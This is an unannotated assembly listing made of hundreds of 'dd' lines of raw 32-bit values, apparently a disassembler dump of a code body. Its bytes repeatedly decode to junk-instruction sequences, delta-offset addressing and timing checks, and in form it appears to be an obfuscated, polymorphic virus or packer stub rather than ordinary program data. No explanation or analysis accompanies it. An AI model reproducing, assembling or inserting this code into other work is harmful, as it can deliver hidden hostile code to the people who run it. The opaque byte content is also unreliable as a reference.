		dd 858DC56Dh, 5E78168h,	850Fh, 8B900000h, 0E96050DFh, 0Bh
		dd 54E5C24Eh, 6FA76389h, 0BE55AE56h, 6A886289h,	6A9061h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E9286CC3h, 0Ah, 0B5E1CCE6h,	8EF8CCAFh, 0FF642B7Bh
		dd 35h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1604h, 0C3524200h, 3349C127h, 0E407E99Dh, 25896405h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 63C35242h
		dd 82716FF8h, 85FFD7F7h, 5E4142Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 4CC35141h, 5243CAD9h, 0FCFF6AFCh
		dd 1381B5FFh, 0E78005E4h, 0AD95FF3Bh, 0E905E42Dh, 13Ah
		dd 440EBB66h, 9D8B00B0h, 5E410D5h, 8D0170E6h, 5E42A95h
		dd 0BF0F71E4h, 0F613CF9h, 11983h, 0BD9D8900h, 8B05E432h
		dd 0E41355BDh, 0C8B60F05h, 0B589FA8Ah, 5E419A5h, 6BAh
		dd 299D8B00h, 8B05E40Dh, 4E8C1C1h, 68C0Fh, 95890000h, 5E42261h
		dd 17658531h, 0F76605E4h, 0BBC82BE2h, 0BA74660h, 150D18Bh
		dd 0E42781BDh, 0C7E95F05h, 0E9000000h, 0Ah, 0D4BA621Eh
		dd 0CBE2C026h, 858B196Eh, 1, 13850Fh, 0BE80000h, 82000000h
		dd 9D955A06h, 5FCA2D01h, 0DA8BCAA8h, 7C0835Bh, 10E8h, 301F4A00h
		dd 6FD3D4FDh, 0FD216162h, 0A79B1F1Bh, 11E95717h, 9000000h
		dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h,	0C0835B5Bh
		dd 3BFD8A00h, 0B830FD0h, 89000000h, 0E40D31B5h,	50E905h
		dd 8D8B0000h, 0FFFFFFFFh, 0C840Fh, 8B0F0000h, 6, 2665B529h
		dd 0E18305E4h, 2F840F01h, 0FC000000h, 0FFFFA583h, 0FFEFFFFh
		dd 681h, 89BD8B00h, 0F05E422h, 9589D8BFh, 1, 8E9h, 0E40A5600h
		dd 7401B29Ch, 0E978h, 0B58D0000h, 5E83AE2h, 0BE9h, 72CB3600h
		dd 0CDB45C3Fh, 4CEEF6BDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 508015C3h, 0DA82D2E3h
		dd 0BD8BD338h, 5E423BDh, 0BE8h,	29D68300h, 67BFBE0h, 29EEDD61h
		dd 291DB501h, 0FF5F05E4h, 0E410C195h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 586D344Dh, 69BD8B8Bh, 8B05E41Ch, 0E41449BDh,	159D8905h
		dd 0B905E410h, 0DA6h, 68B0Fh, 0BD8B0000h, 5E417D1h, 0BBFCE183h
		dd 1947D04Ah, 68D0FFCh,	8B000000h, 0E41B3D9Dh, 0B805h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0F903AEC3h, 0D0B911DBh, 0CE9h, 0ECB94500h
		dd 0D8D4C496h, 573E53Bh, 8BD22B55h, 0C233ADFAh,	0D003E8D1h
		dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 48CC1FF6h, 0C51CA60Ah, 8E36BFB2h
		dd 6A67FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 550410C3h, 890F4FFFh, 6, 28CDB501h, 880D05E4h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0DC18C357h, 213033C9h,	7B00CFFEh
		dd 1F118D29h, 958B05E4h, 5E41095h, 10E9h, 8C9D4E00h, 0C887FA5Fh
		dd 0DE41550Eh, 8C545263h, 658D8B44h, 6A05E42Ch,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0C1F2C352h, 0FF02776Eh, 34ECBF92h, 50F9162Ch, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0E9BD3358h, 6A05E42Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 836AC356h, 83E0EF0Ah, 0E42135BDh,	840F0005h
		dd 93h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah
		dd 0EC35141h, 0CAD25BA3h, 5E9B58Eh, 75000000h, 6365829Fh
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 43A3F628h, 8D8DF735h, 5E44C30h, 0FFECCB81h
		dd 0E1FF6C03h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	31C35646h, 0D98BB567h, 0EE9h, 475D5300h, 2DAF3C5Ch
		dd 0CBB7AD8h, 83230273h, 0E430FDBDh, 840F0005h,	40Ah, 2D1D9D03h
		dd 9D8B05E4h, 5E421BDh,	30FDBD83h, 0F0105E4h, 40C84h, 0F58D0100h
		dd 8305E42Ch, 0E430FDBDh, 860F0305h, 3C3h, 8C66FC60h, 0AE9D9h
		dd 4D9C0000h, 3A683004h, 4A5E5454h, 0F04E180h, 68Eh, 759D8900h
		dd 6005E42Ch, 7C5B58Bh,	830F05E4h, 2, 0A61CF8Bh, 0F7840FC9h
		dd 0F000000h, 858BDABFh, 5E42C9Dh, 5B5B5156h, 20998533h
		dd 8A0F05E4h, 1, 0FB8B50F5h, 6A240489h,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CF31C350h
		dd 0F78A321Dh, 2F6BF4Fh, 6A4C82h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0DBC35141h,	0B3B3E47Fh, 9B002FD0h
		dd 799E6866h, 481FB72h,	0AC8A6124h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 7828DFACh
		dd 15995FFh, 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 5E189BC3h, 0F513E8A6h, 0BD8B1AF1h
		dd 5E404B5h, 9F5F8589h,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 3488BC3h, 8B484B73h
		dd 1F7E9F8h, 858B0000h,	5E79F57h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 72C35646h, 0B2DE2EDEh, 4D5644BBh
		dd 1BBB6663h, 1800C7AFh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 937DC357h
		dd 13E9h, 31786700h, 5C7778CDh,	23C96C8Ch, 997B04CEh, 38F98E46h
		dd 9F5BB58Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 4F219C3h, 0FBE742Fh, 0BD0BFEB7h
		dd 5E428F5h, 2A21858Bh,	6A05E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 7DC0C7C3h, 95E0592h
		dd 2B97CFCBh, 0E408FD9Dh, 6890F05h, 1000000h, 0E427C985h
		dd 6A068905h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0A1F6C357h, 2A91B856h,	29F91F09h
		dd 0E4135D9Dh, 9D858B05h, 8905E42Ch, 0AE90446h,	48000000h
		dd 0C30FFDADh, 33DF3DB6h, 6060508Eh, 495BBB66h,	61C28B66h
		dd 349412BFh, 34896173h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 12E96Dh, 7DA60000h, 0F99C8168h
		dd 263002CEh, 0FED542D4h, 4001061Bh, 9F57B5FFh,	0B70F05E7h
		dd 0A8F068DAh, 0FC8AA232h, 0F240481h, 6A5DEC5Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 15C6C356h, 0FB44FD20h, 536CAE8Fh, 1AC4D381h,	858D0FABh
		dd 5E79F5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0A7C35040h, 220DFDCBh, 8BB58020h, 0E42AC9BDh, 35BF9005h
		dd 50645B97h, 90FA8B66h, 95FFFB8Bh, 5E40159h, 0C1C1ADBBh
		dd 68F0F43h, 8B000000h,	0E40D799Dh, 8B516105h, 0E415319Dh
		dd 85C75B05h, 5E430FDh,	3, 2880Fh, 0F98A0000h, 9F5FBD83h
		dd 0F0005E7h, 7284h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0C2AAE3E8h, 0BF1D5429h
		dd 171358AEh, 7E9h, 12C53C00h, 2BC0A5CEh, 55E9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0AC9B96CDh, 0FE8h, 0C6721000h, 0A8968800h
		dd 0C72A6F4Bh, 86563701h, 8E75C781h, 505B0DBFh,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD8BC08Bh
		dd 5E417C9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0AC35040h, 443C43DCh, 70BFD858h, 38DF8057h, 9D85895Fh
		dd 8305E42Ah, 0E430FDBDh, 850F0305h, 35Ch, 9999529h, 0BD8305E4h
		dd 5E79F5Fh, 49840F00h,	89000003h, 0E4150995h, 0FBB70F05h
		dd 9F5FB5FFh, 0DF8005E7h, 1595FFB6h, 2305E41Ch,	0E423B1BDh
		dd 0B23CBB05h, 0B58B18B6h, 5E79F53h, 11E9h, 9E8F6B00h
		dd 0B256CB8Ah, 87D7C663h, 0C788571Fh, 6C7BA8Fh,	10001h
		dd 11958D29h, 0F9605E4h, 38Ah, 0F98B6600h, 0DE950h, 0B0FE0000h
		dd 36A02634h, 0D4688AFDh, 968EE5DCh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 7EC35242h, 0FFE2B30Fh, 0E79F5FB5h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0FFF1C0ABh, 890F35CBh, 0E42909BDh, 2D95FF05h
		dd 8B05E417h, 0E4256DBDh, 53B58B05h, 8005E79Fh,	858B9FE7h
		dd 5E41D1Dh, 89FEB70Fh,	0C486h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5A8F679Bh
		dd 597A86D4h, 5FFB8B52h, 1095958Bh, 0C38105E4h,	1EB12FEEh
		dd 8904C283h, 0E421BD9Dh, 89BD0B05h, 8905E425h,	0BD312050h
		dd 5E43139h, 0B384858Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 7028C7C3h, 358D8997h
		dd 8905E412h, 0B886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 70F51053h, 0BD95899Ah
		dd 6A05E411h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0F42AAAFBh, 0B5FF341Ah, 5E79F5Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A1C35343h
		dd 2071BD89h, 95FF05E4h, 5E41045h, 0C399BF66h, 50FA8B96h
		dd 0AE960h, 0F3250000h,	2013E51Bh, 9BF674Bh, 6E0572B8h
		dd 6A966174h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7002C352h, 0E9483341h,	9, 0AE6D1A1Fh
		dd 0C33D52A2h, 5FB5FF9Ch, 905E79Fh, 0E41B3D9Dh,	6595FF05h
		dd 6A05E413h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 4C87C355h, 0F1807C06h,	0F1B53BFh
		dd 0BD83DBBFh, 5E408F9h, 4B840F00h, 81000000h, 3B95C7EFh
		dd 820F5010h, 6, 60EF8A60h, 34896161h, 57006A24h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0E8D7D154h, 7902A16Ah, 0AEBF210Bh, 0F269E22h, 58Ah
		dd 84B8BB00h, 0B5FF7FC2h, 5E79F5Fh, 2D1D8589h, 95FF05E4h
		dd 5E429C5h, 9F5FB5FFh,	6A05E7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0EA040FC3h, 23F1B501h
		dd 95FF05E4h, 5E41971h,	2199B509h, 0BD8305E4h, 5E43125h
		dd 33840F02h, 89000000h, 0E402B58Dh, 91858B05h,	8B05E411h
		dd 0E41A9DBDh, 0C605h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0D3C35545h, 85C7CB15h, 5E419E5h, 0
		dd 2419BD8Bh, 8D0905E4h, 5E4209Dh, 0FFF418E9h, 6820FFFh
		dd 89000000h, 0E417B98Dh, 0B3C18B05h, 0D5858D47h, 8A05E419h
		dd 0E96090D9h, 13h, 0D1D1E6E0h,	73A998AAh, 2952F609h, 0D4087744h
		dd 61AD56BCh, 0BF665250h, 905BCDE1h, 0A3C02CBBh, 0F006A0Ch
		dd 6AFFB7h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	0F5C35747h, 858D1FF4h, 5E8C8E1h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 0CC35040h, 29DA8B66h
		dd 0E426D595h, 5C08305h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 54C35141h, 8C0F4Fh, 50000000h, 0F525060h
		dd 5A616031h, 7D2DBB58h, 896107A1h, 9D8B2404h, 5E42589h
		dd 7BDBD31h, 6A05E4h, 0E852006Ah, 3, 5AC35A20h,	4245489h
		dd 4244481h, 17h, 0C35242h, 0E903496Fh,	0Bh, 9CAA3D23h
		dd 0DADCF3D8h, 819333D2h, 358BF8DFh, 0F9006A18h, 21A195FFh
		dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F12D7C3h, 18Dh, 8D8DF500h, 5E79E7Fh, 0FF81F780h
		dd 57006AD1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0C7C806E0h, 8BC5254Fh, 0E413B19Dh, 95BD8305h
		dd 105E429h, 74850Fh, 0BD030000h, 5E414E9h, 6A026Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 90CCCEC3h, 310F5250h, 5F515250h, 585A310Fh, 8A50585Ah
		dd 6A90FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 2D71BC3h,	0F53499Fh, 68Bh, 659D0B00h, 6605E426h
		dd 9301C381h, 104595FFh, 0BF6605E4h, 65E91EE4h,	0E800000Dh
		dd 0
		dd 0EBED815Dh, 6A05E8C8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 77F8C355h, 58E5BEDCh
		dd 0B5897B93h, 5E414EDh, 0C372E781h, 858D33B8h,	5E78168h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FC35141h
		dd 79BF977Dh, 90FC872Eh, 310F5250h, 14E857h, 77FA0000h
		dd 0F6950D6Eh, 0B08D0816h, 0C046032Dh, 0CBE3D7C2h, 5F5BDCA9h
		dd 0F50585Ah, 681h, 0BB665700h,	905B38A6h, 64FBB70Fh, 35FFh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0ADA432C3h, 9D23FC61h, 5E41789h, 258964h
		dd 0E9000000h, 6, 8398B409h, 85FF7870h,	5E4142Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 3EC35747h, 282C2584h
		dd 8166F23Fh, 6AF71FCBh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 56CA8A47h, 0D9B5FFF8h
		dd 6005E402h, 615856F5h, 2401B589h, 95FF05E4h, 5E42DADh
		dd 141E9h, 0C1D78100h, 0B0380D5Fh, 70E6FC00h, 775BD8Bh
		dd 71E405E4h, 9DA8B60h,	0E40769BDh, 0CB806105h,	0F613C12h
		dd 11983h, 14E900h, 0BE650000h,	0B54AD9CCh, 0A2C24DBAh
		dd 0ADFC485Eh, 2E737809h, 0B60FF399h, 0DE8B66C8h, 6BAh
		dd 0D9BD8B00h, 8B05E41Fh, 830F60C1h, 6,	8A0Fh, 840F0000h
		dd 5, 0A3046EBBh, 0E8C1610Dh, 30F38104h, 662A591Ah, 11E9E2F7h
		dd 0DF000000h, 18DF5CD8h, 9ED49292h, 18B8D7E1h,	0BD797CD5h
		dd 8166C82Bh, 0BB97BDE7h, 7924C2BAh, 8060D18Bh,	0F38192CFh
		dd 2CAA199Fh, 94E961h, 0EF810000h, 9B73B1h, 4858Bh, 8E0F0000h
		dd 6, 21499D0Bh, 0C08305E4h, 6870F07h, 8B000000h, 0E4097D9Dh
		dd 459D2B05h, 8305E420h, 9D8B00C0h, 5E40455h, 830FD03Bh
		dd 25h,	11E8h, 0E6535C00h, 465C9112h, 0C45A02Bh, 9E8818D5h
		dd 85895E4Dh, 5E42305h,	34E95Fh, 8B660000h, 0FF8D8BFAh
		dd 81FFFFFFh, 93AA43C7h, 1E1832Bh, 1C840Fh, 0B2BF0000h
		dd 8369788Ch, 0FFFFFFA5h, 0DD8AFEFFh, 49589h, 0BF0F0000h
		dd 0E9F9h, 0B58D0000h, 5E84888h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0ECC35343h,	0DFE78134h, 95550E9h
		dd 0E41A758Dh, 6A006A05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0A81EC355h,	85261303h
		dd 23D19529h, 95FF05E4h, 5E410C1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0CBC35141h,	8D8008B3h, 833B8EB8h
		dd 0C7FFBBA5h, 47B913D6h, 66000010h, 0E183FA8Bh, 0EF8166FCh
		dd 6AFC3859h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0DF95C355h, 0FBE81E5Bh, 2D9D8BA3h
		dd 2B05E41Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 3F71E2F6h, 0A3EBEA85h, 108D8529h
		dd 0D22B05E4h, 0C233ADF5h, 0D003E8D1h, 7504E983h, 0D9B70FF4h
		dd 880DDA8Bh, 8B000000h, 0E409959Dh, 95958B05h,	6A05E410h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0DB00C356h, 79BB1D4Eh, 6651EE32h,	22D5C781h
		dd 8185015Bh, 8B05E427h, 0E42C658Dh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 66A7F4DDh
		dd 1ECD27C8h, 0FC57FFAAh, 0C28B505Fh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 0F58188Bh, 83FCFFB7h, 0E42135BDh, 840F0005h
		dd 6Ah,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh
		dd 0A1C35545h, 0D0210A55h, 1974F04Dh, 0B8DA8B9Fh, 0
		dd 1ED18589h, 8D8D05E4h, 5E44C30h, 11E9h, 5E3DAF00h, 43B0C371h
		dd 0C2E1C3B0h, 0D6EEA0EEh, 0E1FFD5AEh, 0EE8h, 0B5917D00h
		dd 0AA33BBDFh, 206B6FB2h, 1CA5673h, 0E4310D85h,	0BD835F05h
		dd 5E430FDh, 27840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 6028C351h
		dd 810F4531h, 6, 23E5BD89h, 9D0905E4h, 5E43275h, 30FDBD83h
		dd 0F0105E4h, 40484h, 83FA8B00h, 0E430FDBDh, 860F0305h
		dd 3BFh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	65C35242h, 0F3C09DBAh, 0FEBF0FC4h, 3FB9BF60h, 8C663751h
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 484CF16Fh, 0EEE2F58Ah, 18820F80h, 0E8000000h
		dd 0Ch,	90C004DDh, 0D3E35F8Bh, 0F22F124Ch, 480BDB81h, 895B112Bh
		dd 0E413EDB5h, 4E18005h, 0C90A90B3h, 113840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 8E7539C3h, 460114EEh, 858BFCA6h, 5E42C9Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 78C35040h, 333D3AE3h
		dd 0E4209985h, 86BB6605h, 0CE95060h, 70000000h,	0B69EE33Ch
		dd 0DC80B1E2h, 89248FD1h, 860F2404h, 4,	220EBF66h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0FB6852C3h, 0F8DB8C9h, 486h,	76BF6600h, 240481ECh, 72663A04h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EC35141h
		dd 9E50A51Eh, 2644D205h, 0FF3BB330h, 0E4015995h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0BE0EE3ACh, 434CC781h, 85894125h, 5E79F5Fh, 2D31BD8Bh
		dd 0CDE905E4h, 0BB000001h, 69C23A6Ah, 0D2AB2DBBh, 57858B18h
		dd 6A05E79Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0DA6CC351h, 0D2249282h, 1800C7h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8E5A49C3h, 0B58BCCB7h, 5E79F5Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1EC35646h, 7E8D6h
		dd 0E0DB0000h, 0C731727Dh, 0B35FF52Eh, 21858B87h, 6A05E42Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 993FC351h, 0C8C7CB2h, 76B3B9F2h, 0BD81C781h
		dd 0BD8B6CAFh, 5E40CFDh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0ADF433C3h, 9D8B50F1h
		dd 5E41165h, 9D858B5Fh,	6A05E42Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 1A1AC352h
		dd 6671F15Ah, 893EB2BFh, 0B70F0446h, 8C0F50D8h,	0Eh, 9E9h
		dd 40004E00h, 0E730496Ah, 34894A3Bh, 56006A24h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 499D8BC0h
		dd 0FF05E404h, 0E79F57B5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 80152623h
		dd 82D2E350h, 699589h, 786805E4h, 8174D30Ch, 0F872434h
		dd 0FA8B74CCh, 9F5F858Dh, 0DF8B05E7h, 24048950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0AC35747h, 929B0CE3h
		dd 0F98501A3h, 0FF05E41Ch, 0E4015995h, 0F98B6605h, 0AE861h
		dd 521C0000h, 57458DE7h, 0A3A12D6Eh, 0FD85C75Fh, 305E430h
		dd 81000000h, 21C182C3h, 5FBD8350h, 5E79Fh, 39840Fh, 10E90000h
		dd 0CC000000h, 0F2442EE4h, 9AD5C681h, 0AF5AA0DAh, 0E99D4E5Bh
		dd 3Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h
		dd 0DC35242h, 500FE25Ch, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0F8EA20C3h, 9151A88Ch
		dd 56006AF8h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4E050275h, 0BD8B79E7h, 5E4313Dh,	30FDBD83h
		dd 0F0305E4h, 41085h, 5FBD8300h, 5E79Fh, 403840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 607AA9C3h, 10BDBD8Bh, 9D8905E4h, 5E42641h, 5FB5FF61h
		dd 0F05E79Fh, 280h, 0FFDA8B00h,	0E41C1595h, 0D7F38005h
		dd 9F53B58Bh, 0BD8B05E7h, 5E40855h, 106C7h, 6A0001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 758540C3h, 0E74E0502h, 75B58979h, 5005E40Fh,	89DE8B66h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 8B3C58C3h, 9D2BA04Bh, 5E4231Dh, 9F5FB5FFh
		dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0B48D44C3h, 3A4199FCh, 2B1233C3h,	0E42B899Dh
		dd 2D95FF05h, 6A05E417h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 553EC352h, 37B711B1h
		dd 8BF52BBCh, 0E79F53B5h, 9E905h, 2E2A0000h, 8B9C2BB2h
		dd 8B2DA2EBh, 0E41D1D85h, 0F88B6605h, 0C48689h,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 833065C3h, 0CCB77008h, 0F53C44E0h, 1095958Bh, 0BD8905E4h
		dd 5E42289h, 6A04C283h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2DE3C356h, 4EF3C284h
		dd 0BD8B2765h, 5E400B9h, 6A205089h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FFE2C356h
		dd 8FAD52B2h, 31FCB720h, 0E4274D85h, 5D8D0105h,	6605E407h
		dd 8D76BABBh, 0E7B38485h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD039F62h
		dd 5E417A1h, 518589h, 868905E4h, 0B8h, 115D8501h, 6A05E4h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h
		dd 0BE9ACh, 0A6FE0000h,	5603BD08h, 0CFD3B4DAh, 5FB5FF8Fh
		dd 5305E79Fh, 13E8h, 6A9FCD00h,	12D8158Eh, 993C6663h, 4C271101h
		dd 7A0FBEA6h, 0FF5B5BF5h, 0E4104595h, 38BB6605h, 0E3BF96ECh
		dd 502C80AFh, 6A96D98Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 2FA8C357h, 5FB5FF48h
		dd 6A05E79Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 1CE4C355h, 0DBC9D483h,	0F8FE0D81h
		dd 136595FFh, 0BD8B05E4h, 5E42AC9h, 8F9BD83h, 0F0005E4h
		dd 3F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0B9719414h, 0AE259E70h, 89EB8160h
		dd 8B2E205Ch, 0E4076D85h, 8B506105h
		dd 243489F8h, 0C1BD8B50h, 5B05E41Ah, 9F5FB5FFh,	6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 5A9CCCC3h, 962ADCE3h, 0C595FF1Ah, 6A05E429h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 7B9AC355h, 0E94BDA47h, 13h, 0A3FA43F2h, 0A77E27h, 433302E3h
		dd 795DE505h, 0FFEFBD7Ch, 0E79F5FB5h, 0A19D8B05h, 0FF05E402h
		dd 0E4197195h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 25BD830Eh, 205E431h, 43840Fh
		dd 0FE90000h, 90000000h, 2941C635h, 1E310BE9h, 0AE9AC166h
		dd 858BC091h, 5E41191h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 55C35646h, 0FCF0450Ch, 0E4F4DCB5h, 0C6D6h
